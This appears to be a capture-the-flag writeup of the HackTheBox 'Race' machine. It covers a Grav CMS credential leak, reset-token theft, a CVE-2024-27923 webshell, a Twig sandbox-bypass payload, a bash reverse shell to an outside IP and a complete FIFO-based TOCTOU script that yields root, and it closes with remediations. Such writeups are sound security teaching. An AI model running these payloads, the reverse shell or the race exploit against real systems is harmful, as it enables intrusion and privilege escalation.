> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/hackthebox/race-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# Race Writeup

### Summary

Race is a Linux box built around Grav CMS. The path in is a chain of small information leaks rather than one big bug: an exposed `phpsysinfo` instance with default creds leaks a process list, the process list leaks SFTP backup credentials, those credentials get you into the Grav admin panel as a low-privilege `backup` account, and the site backup feature hands you the whole Grav filesystem—including a `patrick` account with a leftover password-reset token. Abusing the forgot-password flow together with repeated backups lets you mint a fresh reset token for `patrick` and take over that account. Patrick has partial admin rights (page editing), which is enough to hit **CVE-2024-27923** (arbitrary file write via the page/form save mechanism) and drop a PHP webshell, giving code execution as `www-data`. From there, a hardcoded credential embedded in a backup script's comments gets you SSH access as `max` (user flag). Root is a classic TOCTOU (time-of-check/time-of-use) race condition: a root cron job validates a script's MD5 before running it, but the script lives in a directory `max` can write to, so swapping the file between the check and the execution wins root.

### Recon

#### Nmap

Full TCP port sweep with service/OS detection:

```bash
nmap -A -p- -o nmap 10.129.234.209
```

```
Nmap scan report for 10.129.234.209
Host is up (0.27s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 62:b0:1e:c5:e8:81:5c:94:39:ed:37:7e:21:cf:b1:a8 (ECDSA)
|_  256 37:a3:d3:cd:35:dc:cc:d8:db:3c:c3:4d:ad:22:29:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Device type: general purpose
Running: Linux 4.X|5.X
OS details: Linux 4.15 - 5.19
```

Just two ports open—SSH and a bare Apache instance with no title on `/`, which pushed content discovery on port 80.

Standard directory brute force against the Grav site turned up the admin panel and several other paths:

```bash
feroxbuster -u http://race.vl -C 403,404
```

<details>

<summary>feroxbuster output (click to expand)</summary>

```
200      GET        8l       16w      163c http://race.vl/
301      GET        9l       28w      303c http://race.vl/racers => http://race.vl/racers/
301      GET        9l       28w      308c http://race.vl/racers/user => http://race.vl/racers/user/
301      GET        9l       28w      307c http://race.vl/racers/tmp => http://race.vl/racers/tmp/
301      GET        9l       28w      307c http://race.vl/racers/bin => http://race.vl/racers/bin/
301      GET        9l       28w      309c http://race.vl/racers/cache => http://race.vl/racers/cache/
301      GET        9l       28w      310c http://race.vl/racers/images => http://race.vl/racers/images/
301      GET        9l       28w      308c http://race.vl/racers/logs => http://race.vl/racers/logs/
200      GET      128l      629w    11357c http://race.vl/racers/admin
200      GET      180l      632w    10399c http://race.vl/racers/login
301      GET        9l       28w      310c http://race.vl/racers/backup => http://race.vl/racers/backup/
301      GET        9l       28w      316c http://race.vl/racers/user/plugins => http://race.vl/racers/user/plugins/
301      GET        9l       28w      310c http://race.vl/racers/assets => http://race.vl/racers/assets/
301      GET        9l       28w      315c http://race.vl/racers/user/images => http://race.vl/racers/user/images/
301      GET        9l       28w      315c http://race.vl/racers/user/themes => http://race.vl/racers/user/themes/
200      GET      140l     1088w    11404c http://race.vl/racers/home
```

</details>

The important hit is `/racers/admin`: a Grav admin login page.

![Image description](https://content.gitbook.com/content/pYE2nFwehgWS9IHYp4NS/blobs/297LrGCfBdPjjS6T97mi/a1le9jc9yo9t857tponk.png)

The site is running under a `/racers/` sub-path, and separately `feroxbuster` turned up a `phpsysinfo` install directly on the box's IP, outside the `race.vl` vhost.

Early on, `race.vl` was added to `/etc/hosts` pointing at the target IP so the vhost-based Grav site would resolve. Requests through the `race.vl` name later behaved inconsistently, with stale responses and redirect weirdness. Removing the `race.vl` entry and working directly against `http://machine-ip/racers/...` resolved this; the `/racers/` path prefix does not require the vhost.

### Initial Foothold: phpsysinfo Leaks Backup Credentials

`phpsysinfo` prompted for basic auth. `admin:admin` worked immediately—a default/weak credential left on an exposed monitoring page.

![Image description](https://content.gitbook.com/content/pYE2nFwehgWS9IHYp4NS/blobs/pG8sfxmiYjdRpSbJDhwn/8jz8ug16m1iye344cvky.png)

phpsysinfo shows a live process tree, effectively exposing a process listing without needing a shell. One cron chain ended in a `curl` command containing credentials in the command line.

![Image description](https://content.gitbook.com/content/pYE2nFwehgWS9IHYp4NS/blobs/M9diFADz71Ydo5XzB6QG/mjc7ijpxj79r8i7vzl0y.png)

```
/usr/bin/curl --insecure --connect-timeout 60 -u backup:Wedobackupswithsecur3password5.Noonecanhackus! -T /var/www/html/racers/backup/ sftp://offsite-backup.race.vl/backups/
```

The backup script authenticated to an offsite SFTP host with a cleartext username and password visible in process output.

Trying the credential over SSH failed because the `backup` account was not a shell user:

```bash
sshpass -p 'Wedobackupswithsecur3password5.Noonecanhackus!' ssh backup@machine-ip
```

However, the same credential worked for the Grav admin panel. Logging into `/racers/admin` as `backup` / `Wedobackupswithsecur3password5.Noonecanhackus!` succeeded.

> "You have been successfully logged in" — logged in as **Ba C. Kup**

![Image description](https://content.gitbook.com/content/pYE2nFwehgWS9IHYp4NS/blobs/V5B7jDvRDFYC3V2x1YNC/eo17xvy17axmtza5ouw2.png)

The `backup` account is low-privilege in Grav but can access **Tools > Backup**. Excluding a few large or irrelevant directories and clicking **Backup Now** produces a downloadable ZIP containing essentially the whole Grav installation.

![Image description](https://content.gitbook.com/content/pYE2nFwehgWS9IHYp4NS/blobs/F8v32C9i9C7keU0j0ZUo/2v9jrlw3hn3de8ie89qq.png)

```bash
unzip default_site_backup--20260715104813.zip -d extracted
```

Grav is a flat-file CMS, so everything—including user accounts—lives on disk as plain files. The directory layout also closely mirrors the public [getgrav/grav](https://github.com/getgrav/grav) repository.

Check the running version:

```bash
cat system/defines.php | grep -i grav_version
```

```php
define('GRAV_VERSION', '1.7.43');
```

The user account store is located in `user/accounts/`, with one YAML file per user.

```bash
cat user/accounts/backup.yaml
```

```yaml
state: enabled
email: backup@race.vl
fullname: 'Ba C. Kup'
hashed_password: $2y$10$drGaFWuga2r3uPcQXqSEueEEru4hlWvYu.BixWiisEHdgFNi.BwYK
access:
  admin:
    login: true
    maintenance: true
```

The `maintenance` permission explains why the backup feature was available.

```bash
cat user/accounts/admin.yaml
```

```yaml
state: enabled
email: admin@race.vl
fullname: 'Admin I. Strator'
hashed_password: $2y$10$/e6nnqGJ6un4X6wKPpyeNecHf8wyZ.G//0Q7XhLLuQ15v7sEzKVzS
access:
  admin: {login: true, super: true}
  site: {login: true}
```

The `admin` account has full `super: true` access.

```bash
cat user/accounts/patrick.yaml
```

```yaml
state: enabled
email: patrick@race.vl
fullname: 'Patrick P. Rick'
hashed_password: $2y$10$TWyPZQDqMZJJ/0pLdWUbY.TxVKVMHP3LzfUTo3BYWFRID7uXaoXcC
reset: '553e7719d2674ae2bfb29eb0aaa806d0::1701718773'
access:
  site: {login: true}
  admin:
    login: true
    super: false
    configuration: {system: true, site: true, media: false, security: false, info: false, pages: false, users: false}
    pages: true
    maintenance: true
    themes: true
```

Patrick is not a super admin, but has `pages: true` and `themes: true`, allowing page content editing. The important finding is the `reset:` field: Grav stores password-reset data as `token::expiry_timestamp`.

All three password hashes were bcrypt and not worth attacking directly. The login page enforces a 32-character minimum password length, making realistic offline cracking impractical.

The useful findings from the export were:

* Grav version `1.7.43`, pointing to known CVEs.
* A live reset token for a semi-privileged account leaks directly into backups.

### Privilege Chain: Stealing a Fresh Reset Token for Patrick

The expired token revealed Grav's reset URL structure:

```
/racers/admin/reset/u/{username}/{token}
```

Requesting the route with the stale token still returned HTTP 200 because the reset form rendered:

```bash
curl -s -c cookies.txt -o /dev/null -w "%{http_code}\n" \
"http://machine-ip/racers/admin/reset/u/patrick/553e7719d2674ae2bfb29eb0aaa806d0"
```

```
200
```

The approach was to trigger a new reset request for `patrick`, then use the `backup` account to generate another backup and extract the fresh token from `patrick.yaml`.

{% stepper %}
{% step %}

### Trigger a password reset

Go to `/racers/admin/forgot` and submit `patrick@race.vl`.

![Image description](https://content.gitbook.com/content/pYE2nFwehgWS9IHYp4NS/blobs/kBIoORIwoL5xx7QYMMc4/y31at4xrqwpt7jjgzumf.png)
{% endstep %}

{% step %}

### Generate a new backup

Log back in as `backup`, select **Backup Now**, download the resulting ZIP, and inspect the updated account file.

```bash
unzip -p default_site_backup--20260715114723.zip user/accounts/patrick.yaml
```

```
...
reset: 'ceacac2bae4c132a6fcddbeadb776b81::1784118502'
...
```

{% endstep %}

{% step %}

### Reset Patrick's password

Visit the reset URL with the new token. The form pre-fills the username and prompts for a new password.

![Image description](https://content.gitbook.com/content/pYE2nFwehgWS9IHYp4NS/blobs/NUWzFdVR5w1UZ3FViaj6/toqn1rdfrj1936n43hwy.png)

Reuse a variant of the backup password to satisfy the 32-character minimum and submit the reset.
{% endstep %}

{% step %}

### Log in as Patrick

Log in as `patrick` with the newly set password.

![Image description](https://content.gitbook.com/content/pYE2nFwehgWS9IHYp4NS/blobs/LATbcwAcDch38w8GjT2Y/jlaiyu5m1bc0vwcqyfsq.png)

Patrick has partial admin rights for page and theme editing, but not full `super` access or user management.
{% endstep %}
{% endstepper %}

### RCE: Grav SSTI / Arbitrary File Write (CVE-2024-27923)

Grav `1.7.43` is vulnerable to two relevant advisories:

* **CVE-2024-28116** (GHSA-c9gp-64c4-2rrh): Twig sandbox bypass via `system.twig.safe_functions`, allowing an authenticated editor to call `system()` from Twig page content.\
  <https://github.com/getgrav/grav/security/advisories/GHSA-c9gp-64c4-2rrh>
* **CVE-2024-27923** (GHSA-f6g2-h7qv-3m5v): arbitrary file write through the page/form save mechanism, allowing an authenticated editor to place a PHP file on disk.\
  <https://github.com/getgrav/grav/security/advisories/GHSA-f6g2-h7qv-3m5v>

The first advisory was tried directly in the page editor:

![Image description](https://content.gitbook.com/content/pYE2nFwehgWS9IHYp4NS/blobs/eYTLloOLnlz9iXLPfjJe/6a5bzvsh3kn7aog7zt3a.png)

```twig
{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
```

It saved successfully but did not provide code execution in this instance.

CVE-2024-27923 abuses Grav's form-save feature to write a page containing a form whose file-save action points to an arbitrary filename and extension. The public PoC:

1. Logs in.
2. Creates a page with a malicious form definition where `process.save.filename` is the target PHP filename.
3. Submits the form with a PHP payload as the answer.

Grav writes the submitted content under `user/data/<form-name>/<filename>`.

Using `patrick` and the freshly reset password:

```bash
python3 poc.py
```

```
[*] Try to Login
[*] Success Login
[*] Try to write page
[*] Success write page: http://machine-ip/racers//this_is_poc_page47
[*] Try to inject php code
[*] Success inject php code
[*] This is uploaded php file url.
http://machine-ip/racers//user/data/contact-form/universe.phar?cmd=id
-
  name: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)
'
```

Confirmed code execution as `www-data`:

```bash
curl 'http://machine-ip/racers/user/data/contact-form/universe.phar?cmd=whoami'
```

```
-
  name: 'www-data
'
```

Upgrade to an interactive reverse shell through the webshell parameter:

```bash
curl -G --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.15.223/4444 0>&1"' \
  'http://machine-ip/racers/user/data/contact-form/universe.phar'
```

Listener output:

```
[+] [New Reverse Shell] => race 10.129.234.209 Linux-x86_64 www-data(33)
www-data@race:/var/www/html/racers/user/data/contact-form$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

### User: Leaked Backup Credential in Script Comments

Enumerate home directories:

```bash
cat /etc/passwd | grep bash
```

```
root:x:0:0:root:/root:/bin/bash
patrick:x:1000:1000:Patrick:/home/patrick:/bin/bash
max:x:1001:1001::/home/max:/bin/bash
```

`max` owns `race-scripts` in the home directory, but it is a symlink into `/usr/local/share/race-scripts`:

```bash
ls -la /home/max
```

```
total 36
drwxr-xr-x 5 max  max  4096 Dec  9  2023 .
drwxr-xr-x 4 root root 4096 Dec  3  2023 ..
lrwxrwxrwx 1 root root    9 Dec  3  2023 .bash_history -> /dev/null
-rw-r--r-- 1 max  max   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 max  max  3771 Jan  6  2022 .bashrc
drwx------ 2 max  max  4096 Dec  3  2023 .cache
drwxrwxr-x 3 max  max  4096 Dec  9  2023 .local
-rw-r--r-- 1 max  max   807 Jan  6  2022 .profile
drwxrwxr-x 2 max  max  4096 Dec  4  2023 bin
lrwxrwxrwx 1 max  max    29 Dec  9  2023 race-scripts -> /usr/local/share/race-scripts
-rw-r----- 1 root max    33 Jul 15 10:46 user.txt
```

Inspect the shared directory directly. The `offsite-backup.sh` script contains commented-out credentials:

```bash
cat /usr/local/share/race-scripts/offsite-backup.sh
```

```bash
#!/usr/bin/bash
OFFSITE_HOST="offsite-backup.race.vl"
SOURCE_DIR="/var/www/html/racers/backup/"
# Disabled USER/PASS for security reasons. Will be provided via environment from cron.
# OFFSITE_USER="max"
# OFFSITE_PASS="ruxai0GaemaS1Rah"
/usr/bin/curl --insecure --connect-timeout 60 -u $OFFSITE_USER:$OFFSITE_PASS -T $SOURCE_DIR sftp://$OFFSITE_HOST/backups/
```

The commented credential was also Max's SSH password:

```bash
ssh max@machine-ip
```

```
max@10.129.234.209's password: ruxai0GaemaS1Rah
...
max@race:~$ cat user.txt
[REDACTED]
```

### Root: TOCTOU Race Condition on a “Signed” Cron Script

`sudo -l` was a dead end:

```
max@race:~$ sudo -l
Sorry, user max may not run sudo on race.
```

The process list showed a root cron job calling a wrapper:

```
root  /usr/sbin/CRON -f -P
 \_ /bin/sh -c /usr/local/bin/secure-cron-runner.sh
     \_ /usr/bin/bash /usr/local/bin/secure-cron-runner.sh
         \_ /usr/bin/bash /usr/local/share/race-scripts/offsite-backup.sh
             \_ /usr/bin/curl --insecure -u backup:... -T ... sftp://offsite-backup.race.vl/backups/
```

The wrapper MD5-checks scripts before executing them:

```bash
cat /usr/local/bin/secure-cron-runner.sh
```

```bash
#!/usr/bin/bash
. /root/conf/secure-cron-runner.env
declare -a scripts
declare -a sigs

## 0 = offsite-backup by max
scripts[0]="/usr/local/share/race-scripts/offsite-backup.sh"
sigs[0]="d15804b944b40ca8540d37ed6bd80906"
elems=${#scripts[@]}
for (( j=0; j<${elems}; j++ )) ; do
  sig=$(/usr/bin/md5sum ${scripts[$j]} | awk '{print $1}')
  if [[ "x$sig" == "x${sigs[$j]}" ]] ; then
    ${scripts[$j]}
  else
    :
  fi
done
```

This is a **time-of-check to time-of-use (TOCTOU)** issue: the script calculates the MD5 hash and later executes the path as a separate operation. The target file can change between those operations.

The script directory is writable by the `racers` group, which includes `max`:

```bash
ls -ld /usr/local/share/race-scripts
```

```
drwxrwsr-x 3 root racers 4096 Dec  9  2023 /usr/local/share/race-scripts
```

```
max@race:~$ groups
max racers
```

Rather than attempting to win a narrow timing race, a named pipe (FIFO) can block root's `md5sum` until the target is swapped for a payload. The legitimate script contents can then be supplied to the blocked MD5 process so it receives the expected hash, while the subsequent execution resolves the path to the payload.

```bash
#!/bin/bash
REAL=/tmp/offsite-backup.sh.bak
PAYLOAD=/tmp/pwn.sh

cd /usr/local/share/race-scripts || exit 1

cp offsite-backup.sh "$REAL"

cat > "$PAYLOAD" << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +sx /tmp/rootbash
EOF
chmod +x "$PAYLOAD"

mv offsite-backup.sh offsite-backup.sh.real
mkfifo offsite-backup.sh

echo "[*] FIFO placed. Waiting for root's md5sum to open it..."

PID=""
while [ -z "$PID" ]; do
    PID=$(pgrep -f "md5sum $PWD/offsite-backup.sh" | head -n1)
    sleep 0.05
done
echo "[*] Caught blocked md5sum PID=$PID - swapping now"

mv offsite-backup.sh pwned
cp "$PAYLOAD" offsite-backup.sh
chmod +x offsite-backup.sh
cat "$REAL" > pwned &

sleep 1
if ! kill -0 "$PID" 2>/dev/null; then
    echo "[+] md5sum PID $PID exited - check completed"
else
    echo "[!] PID $PID still alive - feed may not have unblocked it, check manually"
fi

echo "[*] Waiting for /tmp/rootbash..."
for i in $(seq 1 90); do
    if [ -f /tmp/rootbash ]; then
        echo "[+] Got it:"
        ls -l /tmp/rootbash
        exit 0
    fi
    sleep 1
done
echo "[-] Timed out, /tmp/rootbash never appeared - retry"
```

The mechanics are:

* `pgrep -f "md5sum $PWD/offsite-backup.sh"` waits until root's `md5sum` has opened and blocked on the FIFO.
* The FIFO is immediately renamed and replaced with the payload.
* The original script is written to the renamed FIFO, allowing the already-opened MD5 process to validate the original content.
* The runner subsequently executes the replacement payload.
* `kill -0 "$PID"` confirms that the selected MD5 process exited after being fed.
* The final loop waits for `/tmp/rootbash`.

Run from Max's shell inside `/usr/local/share/race-scripts`:

```bash
max@race:/usr/local/share/race-scripts$ bash /tmp/race.sh
```

```
[*] FIFO placed. Waiting for root's md5sum to open it...
[*] Caught blocked md5sum PID=1966 - swapping now
[+] md5sum PID 1966 exited - check completed
[*] Waiting for /tmp/rootbash...
[+] Got it:
-rwsr-sr-x 1 root root 1396520 Jul 17 08:05 /tmp/rootbash
```

```bash
max@race:/usr/local/share/race-scripts$ /tmp/rootbash -p
```

```
rootbash-5.1# whoami
root
rootbash-5.1# id
uid=1001(max) gid=1001(max) euid=0(root) egid=0(root) groups=0(root),1001(max),1002(racers)
rootbash-5.1# groups
max root racers
rootbash-5.1# cat /root/root.txt
[REDACTED]
```

Root.

### Key Vulnerabilities

1. **Exposed `phpsysinfo` with default credentials (`admin:admin`)**\
   Gave a live process list to a trivially authenticated attacker.
2. **Credentials passed on the command line**\
   The offsite backup `curl` command embedded `-u user:password` directly, exposing credentials to process listings and `/proc`.
3. **Credential reuse**\
   The SFTP `backup` password also worked for the Grav admin panel.
4. **Backup feature exposed to a low-privilege admin account**\
   The `backup` user could export the entire site filesystem, including user account YAML files, password hashes, and reset tokens.
5. **Password-reset token disclosure via backup export**\
   Triggering a reset and reading the resulting token from an exported backup bypassed the assumption that reset links are delivered only by email.
6. **CVE-2024-27923**\
   Grav's form/page save mechanism allows an authenticated editor to write arbitrary files, including PHP, to disk and obtain remote code execution.\
   <https://github.com/getgrav/grav/security/advisories/GHSA-f6g2-h7qv-3m5v>
7. **CVE-2024-28116**\
   Twig sandbox bypass via `safe_functions` and `safe_filters` configuration manipulation. It was present in this version, though the payload used here did not yield execution.\
   <https://github.com/getgrav/grav/security/advisories/GHSA-c9gp-64c4-2rrh>
8. **Secrets left in comments**\
   `offsite-backup.sh` contained valid credentials in plaintext comments.
9. **TOCTOU race condition in `secure-cron-runner.sh`**\
   MD5 verification and script execution are not atomic, while the script directory is writable by a non-root group. A group member can substitute a FIFO for the script, stall root's hash check, replace the path with a payload, and release the hash check using legitimate content.

### Attack Chain

```
phpsysinfo (admin:admin)
  -> process list leaks backup:<password>
    -> Grav admin login as "backup"
      -> site backup export leaks all user account YAMLs + Grav version
        -> trigger forgot-password for patrick + re-export backup
          -> read fresh reset token from patrick.yaml
            -> reset patrick's password, log in as patrick
              -> CVE-2024-27923 arbitrary file write -> PHP webshell
                -> RCE as www-data -> reverse shell
                  -> credential leaked in offsite-backup.sh comments
                    -> SSH as max (user.txt)
                      -> FIFO-blocked TOCTOU on secure-cron-runner.sh
                        -> SUID bash as root (root.txt)
```

### Remediations

* Remove or properly authenticate and segregate diagnostic tools such as `phpsysinfo`; never leave default credentials in place.
* Never pass credentials through command-line arguments. Use restricted configuration files, environment files, or credential managers, and ensure secrets are not visible through `ps` or `/proc`.
* Enforce unique credentials per service. A backup or SFTP password should not work as an application admin password.
* Restrict the Grav backup feature to fully trusted super-admin accounts, and exclude or encrypt `user/accounts` in exportable backups.
* Treat password reset tokens as sensitive regardless of delivery method. Invalidate or rotate them if backups or exports can expose them.
* Patch Grav to `>= 1.7.45` for CVE-2024-28116 and update beyond versions affected by CVE-2024-27923.
* Delete secrets from comments completely. Do not consider commented credentials protected.
* Fix the TOCTOU pattern in `secure-cron-runner.sh`: verify and execute the same file descriptor, or use a root-owned non-group-writable copy after verification. Reject non-regular files such as FIFOs, symlinks, and sockets before hashing. Remove group-write access from `/usr/local/share/race-scripts` so non-root users cannot modify scripts executed by root cron.
